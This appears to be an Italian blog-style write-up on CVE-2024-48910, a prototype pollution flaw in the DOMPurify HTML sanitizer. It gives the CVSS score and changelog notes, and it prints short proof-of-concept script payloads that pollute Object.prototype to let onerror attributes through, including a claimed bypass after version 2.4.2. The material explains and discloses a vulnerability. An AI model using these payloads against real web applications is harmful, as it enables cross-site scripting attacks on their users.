
CVE-2024-48910 DOMPurify, un sanitizer XSS per HTML, MathML e SVG basato esclusivamente sul DOM, super veloce ed estremamente tollerante, è risultato vulnerabile alla prototype pollution (CVE-2024-48910). La vulnerabilità è stata scoperta e corretta nella versione 2.4.2, con la divulgazione iniziale effettuata il 31 ottobre 2024 .
La vulnerabilità di prototype pollution in DOMPurify potrebbe consentire agli attaccanti di manomettere gli attributi del prototipo degli oggetti, portando potenzialmente a bypass di sicurezza e modifiche non autorizzate del comportamento dell'applicazione. L'elevato punteggio CVSS indica un impatto potenziale significativo sulla sicurezza del sistema, in particolare per quanto riguarda la riservatezza e l'integrità dei dati
Alla vulnerabilità è stato assegnato un punteggio base CVSS v3.1 di 9.1 (CRITICAL) con stringa vettoriale CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N. Ciò indica che la vulnerabilità può essere sfruttata da remoto con bassa complessità di attacco, non richiede privilegi né interazione con l'utente e può avere un impatto elevato sia sulla riservatezza che sull'integrità, pur senza influire sulla disponibilità.
Dai changelog, puoi vedere che è stato aggiunto un caso di test che coinvolge .__proto__., suggerendo che si tratti di una prototype injection

La riga successiva aggiunta era, il che significa che prima valutava true per qualsiasi cosa fosse truthy

Protezione XSS bypassata - onerror ora è "consentito"
<script>Object.prototype.hasOwnProperty=Object</script>
<script>Object.prototype.ALLOWED_ATTR=["src","onerror"]</script>
<script src=//cdn.jsdelivr.net/npm/[email protected]/dist/purify.min.js></script>
<script>document.write(DOMPurify.sanitize(''))</script>
Nonostante l'aggiornamento alla 2.4.2, riesco ancora a far comparire l'alert()... tutto ciò che devi fare è impostare
Object.prototype.hasOwnProperty = () => true; per bypassare la protezione LOL!!
<script>Object.prototype.hasOwnProperty = () => true;</script>
<script>Object.prototype.ALLOWED_ATTR=["src","onerror"]</script>
<script src=//cdn.jsdelivr.net/npm/[email protected]/dist/purify.min.js></script>
<script>document.write(DOMPurify.sanitize(''))</script>